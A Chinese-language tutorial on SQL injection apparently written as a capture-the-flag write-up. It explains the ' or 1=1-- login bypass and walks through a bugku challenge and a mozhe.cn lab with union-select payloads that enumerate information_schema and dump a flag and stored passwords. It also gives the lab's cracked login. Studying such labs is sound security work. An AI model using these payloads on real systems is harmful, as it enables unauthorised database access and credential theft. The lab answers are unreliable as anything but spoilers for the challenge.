Sql就是数据库的结构化查询语言
Sql注入,就是将任意sql语句插入数据库进行查询,通过执行恶意SQL语句,从而得到想要的信息
原理就是通过输入的内容来修改sql语句,使之违背原计划的功能
比如一个登陆界面
他的sql语句为Select * from admin where username=’a’ and password=’b’
我们在用户名那栏输入的内容为a,在密码那栏输入的内容为b,当我们输入正确用户名和密码时才会登陆
当我们在用户名那里输入’ or 1=1-- 时也能登陆成功,这时这句sql语句就变成了Select * from admin where username=’’ or 1=1-- ’ and password=’b’
虽然username的内容为空,但是跟了个or语句,1=1永远成立,而后面又跟了个注释符号把后面的语句给注释掉了,那sql语句就可以理解为Select * from admin where 1
所以能成功登陆
bugku上的一题
首先判断有无注入点
正常输入1时
当我们输入1’时,发现返回有问题
说明存在注入点
来看一条sql语句Select * from flag where id=’1’
我们输入的内容就是id后面的这个1,但当我们输入1’时就变成了id=’1’’多了一个单引号,所以会报错
那我们怎么让他正确呢,输入1’-- (注意--后面有1个空格,这表示注释,也可以用#)
接下来我们就要判断究竟有几个字段(就是这个表有几列)
先来了解一下order by 语句
如果order by 后面跟的是数字,如order by 1意思就是按第1列排序
所以我们就可以通过order by来判断字段数
输入1’ order by 1-- 回显正常,2,3,4,时都正常,当到5时发现报错,说明一共就4个字段
接下来我们要查询这个数据库的一些信息
这里要用到union(联合查询)
来看两条联合查询语句select * from users where id=1 union select id,username,password from users where id=2
select * from users where id=1 union select 1,2,3
然后我们输入-1’ union select 1,2,3,4-- (注意这里id必须为不存在的数值)
接着输入-1' union select 1,2,3,concat_ws('~',database(),user(),version())--
Database()为当前数据库名字,uesr()为当前用户,version()为版本
可以看到数据库名为skctf_flag
那接下来就是从数据库中获取表名
information_schema.schemata包含所有数据库的名
information_schema.tables包含所有库的表名
information_schema.columns包含所有表的字段
table_schema 数据库名称
table_name 表名
column_name 列名
schema_name 数据库名
输入 -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'--
可以发现有两张表,flag肯定是在fl4g里
那接下来就是从表中获取列名
输入 -1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=’ fl4g’--
最后知道列名后直接查询
输入-1' union select 1,2,3,group_concat(skctf_flag) from fl4g--
墨者学院里的sql注入
https://www.mozhe.cn/bug/detail/82
先判断注入点
看到有个通知点进去,有个id=1,猜测是注入点
输个'进去
报错了,看来确实是注入点
开始判断字段数
1,2,3,4一个个试,到5时报错,说明只有4个字段
接着开始查库名
这里给大家看看这里两种查库名的区别
第1种
id=2 union select 1,2,database(),4
第2种
id=2 union select 1,2,group_concat(schema_name) ,4 from information_schema.schemata
可以看到有好几个库名,先来看mozhe_Discuz_StormGroup
接着查表名
id=2 union select 1,2,group_concat(table_name) ,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查到两个表名
接着查列名
id=2 union select 1,2,group_concat(column_name) ,4 from information_schema.columns where table_name='StormGroup_member'
有name和password,只剩最后一步了
查name和password里的内容
id=2 union select 1,2,group_concat(name,password) ,4 from StormGroup_member
查询到了两个密码,md5解密后发现第1个密码不对,第2个才是正确密码
所以账号就是mozhe,密码为292411
登入成功